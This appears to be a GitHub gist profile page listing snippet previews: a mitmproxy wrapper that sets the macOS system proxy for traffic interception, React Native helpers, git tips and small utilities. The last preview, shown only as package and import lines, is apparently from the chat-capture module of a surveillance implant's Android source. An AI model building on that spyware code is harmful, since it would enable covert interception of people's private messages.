Skip to content

Instantly share code, notes, and snippets.

View hunje's full-sized avatar

Hunje Cho hunje

  • cocone corporation.
  • Tokyo, Japan
View GitHub Profile
@hunje
hunje / mitmprox-wrap
Created November 5, 2021 06:22
mitmproxy wrap script for
#!/bin/sh
sudo networksetup -setwebproxy Wi-Fi localhost 8080
sudo networksetup -setsecurewebproxy Wi-Fi localhost 8080
sudo networksetup -setwebproxystate Wi-Fi on
sudo networksetup -setsecurewebproxystate Wi-Fi on
mitmproxy
sudo networksetup -setwebproxystate Wi-Fi off
sudo networksetup -setsecurewebproxystate Wi-Fi off
/**
* simple Text component
* do not use style
* quick for prototyping
* @author hunje
*/
import React from 'react';
import {Text as RNText, TextStyle, StyleProp, StyleSheet} from 'react-native';
type Props = {
/**
* simple class for Box component
* wrapping View
* do not use style
* best for quick layout
* @author hunje
*/
import React from 'react';
import {StyleProp, View, ViewStyle, GestureResponderEvent} from 'react-native';
@hunje
hunje / eventemitter.ts
Last active December 3, 2020 12:09
simple event emitter
/**
* Declare Simple EventEmitter
* No Limitation, No expandable.
* If you need to implement more or genric, please contact hunje
*/
type EventHandlerMap = {
[key:string]:Function[];
}
@hunje
hunje / tips_for_git.md
Created March 30, 2020 08:45
Tips for git

以前チェックアウトしたブランチに切り替え

git checkout - 

ローカルのブランチのサマリーを見る

git branch -vv
#pragma once
#include <chrono>
/**
* return true, during specifed seconds from latest call.
* @author Cho Hunje <akahun522@gmail.com>
*/
template <int S>
class TimedBlock {
@hunje
hunje / private.xml
Created July 19, 2016 06:55
Topre Realforce 87U for OSX
<?xml version="1.0"?>
<root>
<name>Topre Realforce87UB</name>
<devicevendordef>
<vendorname>TOPRE</vendorname>
<vendorid>0x0853</vendorid>
</devicevendordef>
<deviceproductdef>
<productname>Realforce87</productname>
<productid>0x0111</productid>
@hunje
hunje / getrootvc.m
Last active September 15, 2015 05:26
looking for current Root View Controller through UIApplication.keyWindow.
+ (UIViewController *)getRootViewController {
UIViewController *result = nil;
UIWindow *topWindow = [[UIApplication sharedApplication] keyWindow];
if (topWindow.windowLevel != UIWindowLevelNormal)
{
NSArray *windows = [[UIApplication sharedApplication] windows];
for(topWindow in windows)
{
@hunje
hunje / ChatLine.java
Created July 16, 2015 06:22
/HT_core-android/RCSAndroid/src/com/android/dvci/module/chat/ChatLine.java
package com.android.dvci.module.chat;
import android.database.Cursor;
import com.android.dvci.auto.Cfg;
import com.android.dvci.db.GenericSqliteHelper;
import com.android.dvci.db.RecordHashPairVisitor;
import com.android.dvci.db.RecordStringVisitor;
import com.android.dvci.db.RecordVisitor;
import com.android.dvci.file.Path;